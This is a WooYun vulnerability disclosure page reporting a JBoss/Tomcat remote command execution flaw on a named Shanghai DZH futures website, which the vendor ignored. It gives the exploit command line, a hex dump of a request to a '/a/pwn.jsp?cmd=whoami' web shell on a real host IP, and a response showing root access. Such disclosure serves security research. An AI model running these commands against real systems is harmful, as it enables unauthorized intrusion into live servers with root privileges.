当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-039579

漏洞标题：世华财讯远程命令执行漏洞

相关厂商：上海大智慧

漏洞作者： Lxai

提交时间：2013-12-30 14:13

修复时间：2014-01-04 14:14

公开时间：2014-01-04 14:14

漏洞类型：命令执行

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-30： 细节已通知厂商并且等待厂商处理中
2014-01-04： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

Apache Tomcat/JBoss远程命令执行 权限是root

详细说明：

漏洞exp:http://www.exploit-db.com/exploits/28713/
php test.php "futures.shihua.com.cn" 80 whoami

漏洞证明：

C:\wamp\www\studio>php test.php "futures.shihua.com.cn" 80 whoami
     0 : 47 45 54 20 2f 61 2f 70 77 6e 2e 6a 73 70 3f 63 [GET /a/pwn.jsp?c]
    10 : 6d 64 3d 77 68 6f 61 6d 69 20 48 54 54 50 2f 31 [md=whoami HTTP/1]
    20 : 2e 30 0d 0a 48 6f 73 74 3a 20 31 31 33 2e 33 31 [.0..Host: 113.31]
    30 : 2e 38 31 2e 37 31 3a 38 30 0d 0a 43 6f 6e 6e 65 [.81.71:80..Conne]
    40 : 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a [ction: Close....]
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=2006101
62339)/Tomcat-5.5
Set-Cookie: JSESSIONID=CC3D736CE22B7F8D28729E83F6C0ED65; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 9
Date: Sun, 13 Oct 2013 04:12:16 GMT
Connection: close
root
C:\wamp\www\studio>


权限是root

11.jpg

修复方案：

版权声明：转载请注明来源 Lxai@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-01-04 14:14

厂商回复：

最新状态：

暂无

漏洞评价：

评论